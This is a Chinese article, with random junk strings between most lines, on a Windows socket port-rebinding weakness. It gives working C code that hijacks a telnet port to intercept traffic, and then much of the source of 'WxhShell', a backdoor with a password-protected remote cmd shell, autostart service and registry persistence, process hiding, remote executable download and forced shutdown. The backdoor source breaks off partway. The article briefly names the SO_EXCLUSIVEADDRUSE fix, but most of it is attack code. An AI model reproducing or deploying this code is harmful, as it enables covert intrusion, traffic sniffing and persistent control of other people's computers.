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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ITw *m3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <WZ{<'ajI ?Te#lp;`~ saddr.sin_family = AF_INET; 8Re[]bE /GO- saddr.sin_addr.s_addr = htonl(INADDR_ANY); <@;}q^`
|gO7`F2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T(?w}i 0NU%z.(%s 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h8`On/Ur_8 M=liG+d 这意味着什么?意味着可以进行如下的攻击: K'Ywv@ *HR
pbe2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?K[Y"*y2 ay7\Ae] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Unb2D4&' z1Ieva] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zK5&,/ ,6;n[p"h|r 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 6U*CR=4
6^LXctW. 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ):G%o O3o^%0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Xs052c|s kJ5z['4? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mxgT}L0i t8-Nli*O #include uAA2G\3 #include b_~XTWP$l #include `&D#P% #include x*vD^1"'P DWORD WINAPI ClientThread(LPVOID lpParam); ~ps,U int main() 'r]6 GC8Z$ { Z8$BgP WORD wVersionRequested; R BHDfm'~7 DWORD ret; P!+Gwm{ WSADATA wsaData; z;1dMQ,# BOOL val; ]!{S2x&" SOCKADDR_IN saddr; ]M*`Y[5" SOCKADDR_IN scaddr; D5c
8sB int err; u @Ze@N% SOCKET s; =l43RawAmu SOCKET sc; W9%v#;2 int caddsize; A,_O=hA2I HANDLE mt; 9-T<gYl DWORD tid; >XgJo7u wVersionRequested = MAKEWORD( 2, 2 ); e
n~m)r3& err = WSAStartup( wVersionRequested, &wsaData ); x;7l>uR if ( err != 0 ) { Qf( A printf("error!WSAStartup failed!\n"); uM`i!7} return -1; jlj ge=#c2 } )ovAG O saddr.sin_family = AF_INET; .b]sQ' "KP]3EyPc //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [y9a.*]u/@ .gg0rTf=- saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (BLxK)0<" saddr.sin_port = htons(23); vd lss| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DSwb8q { dB_0B. printf("error!socket failed!\n"); J]TqH`MA return -1; oM!&S'M/ } e|{R2z"^ val = TRUE; }e$ //SO_REUSEADDR选项就是可以实现端口重绑定的 T<0 r, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HQP.7.w7 5 { Li6|c*K' printf("error!setsockopt failed!\n"); =\.*CY|;N return -1; xZ`z+) } `Qo37B2 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~wDXjn"U& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &NBH'Rt //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BEaF-*?A @??3d9I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _!o8s%9be { $!*>5".A ret=GetLastError(); !0@4*>n printf("error!bind failed!\n"); o9e8Oj& return -1; )K{ s^]Jp } )9`HO?
listen(s,2); |;US)B8}*Z while(1) Dq<la+VlO { :+/8n+@# caddsize = sizeof(scaddr); n!z!fh //接受连接请求 V,rc&97 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -E?:W`! if(sc!=INVALID_SOCKET) o^~ZXF} { 5\pS8<RJ; mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Xeq9Vs zg if(mt==NULL) U}jGr=tu { CnB[ImMs(A printf("Thread Creat Failed!\n"); h}@wPP{ break; 3FR(gr$X } SQ,-45@W } -kk7y CloseHandle(mt); V#w$|2 } _+By=B.' closesocket(s); M]PZwW8 WSACleanup(); @~$d4K
y< return 0; >}* W$i } O(W"QY DWORD WINAPI ClientThread(LPVOID lpParam) Nb$0pc1J< { UAF$bR SOCKET ss = (SOCKET)lpParam; D-/6RVq0m SOCKET sc; ;F258/J unsigned char buf[4096]; I9Ohz!RQ SOCKADDR_IN saddr; ;=,-C;` long num; `6VnL) DWORD val; O z0-cM8t DWORD ret; H*N <7# //如果是隐藏端口应用的话,可以在此处加一些判断 ^!S4?<v //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ,pD sU @ saddr.sin_family = AF_INET; `'s_5Ek saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sR9$=91` saddr.sin_port = htons(23);
!tTv$L> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~frsgHW { 68z#9}
printf("error!socket failed!\n"); }9\_s* return -1; mvjx
&+q } 5&s6(?,Eu val = 100; 9Do75S{( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $^fF}y6N { 0;TiNrzg ret = GetLastError(); x 4v:67_^ return -1; f DXK<v) } #`3Q4 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J-<P~9m~I { i$] :Y`3h ret = GetLastError(); @HbRfD/! return -1; )L9eLxI } Trs~KcsD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .F7?}8>Z { w0g@ <(
3 printf("error!socket connect failed!\n"); v>LK+|U closesocket(sc); YxM\qy{Vr closesocket(ss); V5lUh#@TN& return -1; iO*5ClB } tM"vIz 05 while(1) dQIF'==6 { =7+%31 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Oz%6y
ri //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;t +p2i //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *}C%z( num = recv(ss,buf,4096,0); @2"3RmYLo if(num>0) 5Yv*f: send(sc,buf,num,0); YWn""8p;P else if(num==0) 68?&`/t break; R_G2C@y* num = recv(sc,buf,4096,0); 1K3XNHF if(num>0) /)TeG]Xg send(ss,buf,num,0); b<y*:(: else if(num==0) qe&|6 M! break; '|]}f }Go } 0\!Bh^++1 closesocket(ss); i{EQjZ closesocket(sc); ]@9W19=P!P return 0 ; .<QKQ% - } sd\}M{U
=iW hK~S |5(un# ========================================================== a.<XJ\ =*'yGB[x) 下边附上一个代码,,WXhSHELL I7Kgi3 0z \KI?kd ==========================================================
&5K3AL uH$hMg #include "stdafx.h" !PoyM[Z"f ^
q ba<#e #include <stdio.h> iWeUsS%zpV #include <string.h> 5)f 'wVe #include <windows.h> LNJKf6: #include <winsock2.h> huv|l6 #include <winsvc.h> a"P &
9c #include <urlmon.h> Fw[1Aa# 6?}|@y^fb #pragma comment (lib, "Ws2_32.lib") ,2!7iX #pragma comment (lib, "urlmon.lib") 1.p?1"4\u "oxUKT #define MAX_USER 100 // 最大客户端连接数 m>Wt'Cc #define BUF_SOCK 200 // sock buffer B>E4," #define KEY_BUFF 255 // 输入 buffer 7Q{&L#; 4wKCzPy #define REBOOT 0 // 重启 W=
NX$=il #define SHUTDOWN 1 // 关机 EUt2S_2P
z}J~X%}e #define DEF_PORT 5000 // 监听端口 !Yo2P" _K?v^oM# #define REG_LEN 16 // 注册表键长度 -ioO8D&! #define SVC_LEN 80 // NT服务名长度 gAvNm[=wD2 P}AwE,&Q // 从dll定义API prO&"t
> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )Mq4p'*A[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
LT{g^g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X_-/j. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IrRy1][Qr "T /$K // wxhshell配置信息 R|Bi%q|4P struct WSCFG { Z .`+IN(>E int ws_port; // 监听端口 Yw=@*CK' char ws_passstr[REG_LEN]; // 口令 o&q:b9T int ws_autoins; // 安装标记, 1=yes 0=no MA tF, char ws_regname[REG_LEN]; // 注册表键名 wIRU!lIF9 char ws_svcname[REG_LEN]; // 服务名 dW/(#KP/+ char ws_svcdisp[SVC_LEN]; // 服务显示名 ) %Xp?H_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 _@\-`>J char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xM)P=y_!M+ int ws_downexe; // 下载执行标记, 1=yes 0=no Se??E+aX char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 85"Szc-# char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I@N/Y{y# w@P86'< v }; -GL.8"c[ b6e2a/x // default Wxhshell configuration HHyN\ struct WSCFG wscfg={DEF_PORT, <AVWT+, "xuhuanlingzhe", }6u}?>S 1, 'GW~~UhdW "Wxhshell", _Hq)@AI "Wxhshell", M| }?5NS
"WxhShell Service", ( q*/=u "Wrsky Windows CmdShell Service", .gNJY7`b "Please Input Your Password: ", HRahBTd(z 1, BpFXe7 " http://www.wrsky.com/wxhshell.exe", ^,'KmZm= "Wxhshell.exe" s#8}&2#l }; ve/.q^JeJ 2bXCFv7} // 消息定义模块 3NwdE/x\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q=cnY+p> char *msg_ws_prompt="\n\r? for help\n\r#>"; sn[<Lq char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; \o,et9zDJ3 char *msg_ws_ext="\n\rExit."; R90chl char *msg_ws_end="\n\rQuit.";
CU\r
I char *msg_ws_boot="\n\rReboot..."; !x-9A char *msg_ws_poff="\n\rShutdown..."; @(/$;I, char *msg_ws_down="\n\rSave to "; Ei,dO;&
+;@R&Y char *msg_ws_err="\n\rErr!"; 2MXg)GBcU> char *msg_ws_ok="\n\rOK!"; R,!aX"]| _B4N2t$ char ExeFile[MAX_PATH]; L eUp! int nUser = 0; q2Gm8>F1y. HANDLE handles[MAX_USER]; iF##3H$c int OsIsNt; =v !8i J=t}N+:F`b SERVICE_STATUS serviceStatus; S ="\ S SERVICE_STATUS_HANDLE hServiceStatusHandle; B&3@b !9zs>T&9a\ // 函数声明 U z)G Y int Install(void); 6XhS
g0s int Uninstall(void); l>Zp#+I- int DownloadFile(char *sURL, SOCKET wsh); EffU-=?%! int Boot(int flag); 0ZAtBq.s void HideProc(void); >\Iy <M int GetOsVer(void); jA3Ir;a int Wxhshell(SOCKET wsl); NUY sQO) void TalkWithClient(void *cs); [HRP&jr int CmdShell(SOCKET sock); :n}t7+(>U int StartFromService(void); AIQ]lQ( int StartWxhshell(LPSTR lpCmdLine); qy!pD
R; vdulrnGqL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5)K?:7 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]\=M$:,RZ F>q%~ // 数据结构和表定义 KDAZG+u+ SERVICE_TABLE_ENTRY DispatchTable[] = l0wvWv*k { W-"FRTI4 {wscfg.ws_svcname, NTServiceMain}, 5r\Rfma {NULL, NULL} pc_$,RkN }; <Y#EiC. aQfrDM<*XS // 自我安装 z:tu_5w!, int Install(void) 1QDAfRx { '"Dgov$q char svExeFile[MAX_PATH]; KA{Y*m^7 HKEY key; <7~+ehu strcpy(svExeFile,ExeFile); JMYM}G P^bcc // 如果是win9x系统,修改注册表设为自启动 R$40cW3` if(!OsIsNt) { h3L{zOff if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |FD-q.AV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,W<mz7Z(@ RegCloseKey(key); `Df)wNN1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6t6#<ts RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R*psL&N RegCloseKey(key); d\aU rsPn return 0; yn5yQ; } "(#]H;!W } [VwoZX: } 6tmn1: else { Ke+#ww G8oOFBQD // 如果是NT以上系统,安装为系统服务 .B9rG~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $q;dsW,8 if (schSCManager!=0) q6v%HF-q4 { j_*#"}Lcp SC_HANDLE schService = CreateService U_c.Z{lC4 ( u=h/l!lR schSCManager, !j?2HlIK+ wscfg.ws_svcname, eu|cQ^> wscfg.ws_svcdisp, `!\`yI$!%w SERVICE_ALL_ACCESS, @dCoh-Q3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 'Nv*ePz SERVICE_AUTO_START, Am?
d HP SERVICE_ERROR_NORMAL, \{[Gdj` svExeFile, vHPp$lql NULL, AA$-Lx(UJk NULL, E=Z.v NULL, hqVFb.6[ NULL, e03q9( NULL Q}M%
\v ); Zg/ra1n if (schService!=0) "?GA}e"R { 4b B)t# CloseServiceHandle(schService); 0XBv8fg CloseServiceHandle(schSCManager); 195m0'zda strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %P2GQS-N strcat(svExeFile,wscfg.ws_svcname); aoh"<I%]>4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0a??8?Q1G RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9a5x~Z:' RegCloseKey(key); y pv~F return 0; c3&;Y0SD } I|*w?i* } r_f?H@ v CloseServiceHandle(schSCManager); 9""e*-;Mi } kqfO3{-;{: } ) )q4Rh 8(euWS return 1; c|%.B2 } s=&&gC1 Pvq74?an` // 自我卸载 9"3 7va int Uninstall(void) %o4ZD7@ ' { Pwn3/+"%K HKEY key; l.c*,9
|gW>D=rkj if(!OsIsNt) { FabzP_<b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mX9amS&B$ RegDeleteValue(key,wscfg.ws_regname); dMw0Aw,2]8 RegCloseKey(key); ]kQ*t{\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +,&8U&~` RegDeleteValue(key,wscfg.ws_regname); 0yhC_mI RegCloseKey(key); N|OI~boV% return 0; $
\j/s:Y } G'oMZb ({= } x roo_ } `;yfSoY else { ;N4A9/) Wp"+\{@) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z6eM~$Y if (schSCManager!=0) N,9W18
@ { nCZ&FNi{O~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5G"DgG*< if (schService!=0) u:Fa1 !4JR { E)l0`83~^ if(DeleteService(schService)!=0) { Nr?Z[6O| CloseServiceHandle(schService); zrqQcnx9(m CloseServiceHandle(schSCManager); fz[o;GTc return 0; kQ5mIJ9( } LD]a!eY CloseServiceHandle(schService); >YwvM=b"V } ztcV[{[g CloseServiceHandle(schSCManager); n.&z^&$w\) } K}e%E&|> } &eL02:[ $9!2c / return 1; +ML4.$lc^ } N8!V%i? >?/Pl"{b // 从指定url下载文件 cn62:p]5 int DownloadFile(char *sURL, SOCKET wsh) m5c?A+@fZ { %~eIx=s HRESULT hr; TUw+A6u:p char seps[]= "/"; {O ]^8#v^ char *token; W rB:)Q(8= char *file; iI|mFc|V char myURL[MAX_PATH]; x3j)'`=15 char myFILE[MAX_PATH]; J:<mq5[ .E H&GX strcpy(myURL,sURL); 3
q1LIM token=strtok(myURL,seps); 6'YT3= while(token!=NULL) xeo5) { u^HC1r|% file=token; ^U"$uJz!c token=strtok(NULL,seps); 0w M2v[^YO } c2Q KI~\x b.mcP@ GetCurrentDirectory(MAX_PATH,myFILE); 87; E#2 strcat(myFILE, "\\"); T?vM\o%i3 strcat(myFILE, file); UoAHy%Y<% send(wsh,myFILE,strlen(myFILE),0); ZqtL4M~9 send(wsh,"...",3,0); GRM:o)4;# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vO>Fj if(hr==S_OK) ,sw|OYb return 0; ?A4zIJ\ else N|JML return 1; `fTH"l1zn " Y%fk/v8 } '%Cc!63t*
Iw)}YZmn // 系统电源模块 =geopktpf int Boot(int flag) H(L.k;B { ?4k/V6n@y HANDLE hToken; .|\}]O` TOKEN_PRIVILEGES tkp; cQg:yoF > 2)@(f~g if(OsIsNt) { 9:DT+^BB OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3K;V3pJ]. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Db:^Omwo tkp.PrivilegeCount = 1; kq| r6uE tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +2:\oy}!8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'e&L53n if(flag==REBOOT) { p.wed%O. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bwrM%BL return 0; b+=@;0p*6B } !wbO:py[8> else { O*Gg57a if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O`?qnNmc; return 0; (,nQ7,2EX } k4N_Pa$}\ } E?v9c>c else { ,>
Ya%;h2k if(flag==REBOOT) { zR@4Z>6
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) azhilUD8 return 0;
2:5Go } ]|m?pt else { nXU`^<nA if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u[:-^H return 0; qLjLfJJ2 } u-s*3Lg& } .(J~:U NL^;C3u return 1; kAV4V;ydh } 53X i) u~O9"-m !V // win9x进程隐藏模块 ;AH8/M B9 void HideProc(void) .-Z=Aa> { ZVX1@p B4
k5IS HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *A&A V||q if ( hKernel != NULL ) $?Km3N\?v { fA$2jbGW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ltWEA ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L`2(u!i J FreeLibrary(hKernel); t.rlC5
k } XY`{F.2h XWq`MwC9 return; }HCt=W` } EpW89X ]D.}
/g // 获取操作系统版本 m~I@q
[ int GetOsVer(void) q!10G { /wi*OZ7R OSVERSIONINFO winfo; C1`fJhy winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &gLXS1O GetVersionEx(&winfo); gB_gjn\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R+*-i+]Q#7 return 1; R@df~ else uv|RpIv e: return 0; sB@9L L]&| } Nf5zQ@o_y lRANXM // 客户端句柄模块 /Moyn"Kj{ int Wxhshell(SOCKET wsl) v) j3YhY { H'"=C&D~ SOCKET wsh; `_iK`^(- struct sockaddr_in client; " k0gZb DWORD myID; Y=?Tm,z4 Cl8S_Bz while(nUser<MAX_USER) o$p]
p9 { x%yzhIRR int nSize=sizeof(client); ^:^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]>/oo =E if(wsh==INVALID_SOCKET) return 1; "8$Muwm 3,"G!0 y. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )%JjV(: if(handles[nUser]==0) HIqe~Vc closesocket(wsh); }~v& else a9uMgx} nUser++; !ra,HkU' } J[{ R:l\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'F%h]4|1 /g>]J70 return 0; XZ=%XB:? } M?00n< vM n v
?u // 关闭 socket =TGa\iclpB void CloseIt(SOCKET wsh) Yc:>Yzj(z { E{'Y>gB6 closesocket(wsh); yRivf.wH nUser--; ok1w4#%, ExitThread(0); \;+TZ1i_ } 0}`0!Kv N^{}Qvrr // 客户端请求句柄 _oHxpeM void TalkWithClient(void *cs) b{CS1P { %0zp`'3Y V)fF|E~0 SOCKET wsh=(SOCKET)cs; cte
Wl/v char pwd[SVC_LEN]; 12V-EG i char cmd[KEY_BUFF]; M_O) w^
' char chr[1]; ~#dfZa& int i,j; {t*CSI $3S`A]xO while (nUser < MAX_USER) { {Ia1Wd 8n G b4p"3 if(wscfg.ws_passstr) { pwvmb\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,z01*Yx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cK,&huk //ZeroMemory(pwd,KEY_BUFF); t>2EZ{N+y i=0; J^=Xy(3e while(i<SVC_LEN) { ;v!Ef"E|cV Y
8-;eqH // 设置超时 OYfRtfE fd_set FdRead; OWp`Wat struct timeval TimeOut; b"2_EnE}1 FD_ZERO(&FdRead); Jim5Ul FD_SET(wsh,&FdRead); ;*{Ls# TimeOut.tv_sec=8; SAU` u]E TimeOut.tv_usec=0; NE><(02qW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ` Nv1sA#C if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F;MACu;x
kZ0z]Y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,ZZ5A;) pwd =chr[0]; h05BZrE if(chr[0]==0xd || chr[0]==0xa) { YB_fy8Tfx pwd=0; B@ >t$jK break; .IsOU } U1D;O}z~ i++; Z-L }"~ } ~ %Ij5PD ,=[r6k< // 如果是非法用户,关闭 socket y:Ag mr,S if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ih[k{p } ltv~Kh ctPT=i60 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &"=O!t2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); / <+F/R'=O YlXqj\a while(1) { `[h&Q0Du6 {Q)sR*d ZeroMemory(cmd,KEY_BUFF); W!|l_/L' ky'G/z // 自动支持客户端 telnet标准 ./<giTR:p j=0; NAO0b5-h while(j<KEY_BUFF) { +1a2Un if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5'[yw:P-8 cmd[j]=chr[0]; )1g\v8XT if(chr[0]==0xa || chr[0]==0xd) { ~lbm^S}- cmd[j]=0; R ^"*ut break; @o&UF-=MW( } +.v+Opp, j++; L+lX$k } %r@:7/ O4!!*0(+91 // 下载文件 _y:aPn if(strstr(cmd,"http://")) {
\okvL2:! send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z ?ATWCa if(DownloadFile(cmd,wsh)) IH"_6s#$& send(wsh,msg_ws_err,strlen(msg_ws_err),0); uM[[skc else Icx)+Mq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aNgJm~K0P } wS [k} else { 1i#U& M8VsU*aU switch(cmd[0]) { /px`FuJI( wsj5;(f+ // 帮助 }:\e"Bfv case '?': { F<O<=Ww send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -h 21 break; qxHsmGV } -3SRGr // 安装 C9j5Pd5q1L case 'i': { d 1 O+qS if(Install()) :eBp`dmn send(wsh,msg_ws_err,strlen(msg_ws_err),0); \wp8kSzC else } 7i}dyQv} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k~]\kv= break; w69G6G( } [bEm D // 卸载 0C717 case 'r': { rUmnv%qTS if(Uninstall()) ^ lG^. send(wsh,msg_ws_err,strlen(msg_ws_err),0); ze`qf% else scZ'/(b-E send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $oIGlKc:L break; (Li)@Cn% } UO'X"` // 显示 wxhshell 所在路径 zTze% case 'p': { {/XU[rn char svExeFile[MAX_PATH]; 7mYBxE/ strcpy(svExeFile,"\n\r"); /?C6oj1 strcat(svExeFile,ExeFile); ;_1> nXh send(wsh,svExeFile,strlen(svExeFile),0); o2^?D`Jr break; tp b(.`G } c#pVN](? // 重启 gWy2E;"a case 'b': { [jF\"#A send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eD N%p if(Boot(REBOOT)) GEAVc9V send(wsh,msg_ws_err,strlen(msg_ws_err),0); NTSKmCvQG else { HgRfMiC closesocket(wsh); ]2xoeNF/W{ ExitThread(0); BtP*R,> } [,qb)
&_ break; DO?
bJ01 } =e]Wt/AQ // 关机 ]K%D$x{+\ case 'd': { 8;P_KRaE send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _1?Fyu&<5 if(Boot(SHUTDOWN)) mGUl/.;yp- send(wsh,msg_ws_err,strlen(msg_ws_err),0); #J4,mFMr else { "#`c\JuR] closesocket(wsh); }q~xr3# ExitThread(0); MP`WU} 2 } z|G 39 break; $]iRfXv,l! } XXZ$^W& // 获取shell ~{s7(^ P case 's': { I[ I]C9D CmdShell(wsh); zyFbu=d|O: closesocket(wsh); 7033#@_ ExitThread(0); s}":lXkrw break; mQt?d?6 } rVx?Yo1F' // 退出 :aMp,DfM]P case 'x': { Ps{}SZn send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N+NS\Y5 CloseIt(wsh); %i`YJ break; Dz&<6#L< } "zN]gz=OV> // 离开 "a>a
"Ei case 'q': { 6b#J!:? send(wsh,msg_ws_end,strlen(msg_ws_end),0); 610hw376B closesocket(wsh); oNBYJ]t WSACleanup(); #FV `*G
exit(1); ]6EXaf# break; 4kQL\Ld#E% } >a1ovKF } AT,?dxP J } c95{Xy %Tv^BYQAZ // 提示信息 [KjL` if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @g'SH:} } @y`7csbp } =9vmRh?8 j*;/Cah]k return; xkebel`% } g3uI1]QXLg EYF]&+ 9 // shell模块句柄 '5"`H>[ int CmdShell(SOCKET sock) %j?<v@y { a=3{UEi'o STARTUPINFO si; +']S ZeroMemory(&si,sizeof(si)); OQh(qa si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zos#B30 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @VcSK` PROCESS_INFORMATION ProcessInfo; T5di#%: s char cmdline[]="cmd"; 2*1s(Jro CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~2*8pb 4 return 0; $:MO/Suz{ } B%Spmx8 K%"cVqb2V // 自身启动模式 0UT2sM$ int StartFromService(void) ?QXo]X;f& { D2}nJFR
] typedef struct {CR'Z0 { .4wp DWORD ExitStatus; )7Ed}6% DWORD PebBaseAddress; 7|Tu@0XXA DWORD AffinityMask; JRj%d&^} DWORD BasePriority; 8o;9=.<<~u ULONG UniqueProcessId; X`k[ J6 ULONG InheritedFromUniqueProcessId; u)fmXoQ } PROCESS_BASIC_INFORMATION; !]k $a K
r&HT,>B PROCNTQSIP NtQueryInformationProcess; i3} ^j?jA2 ]gQ4qu5 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,fwN_+5 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?pv}~> DHV#PLbN$ HANDLE hProcess; T9+ ?A
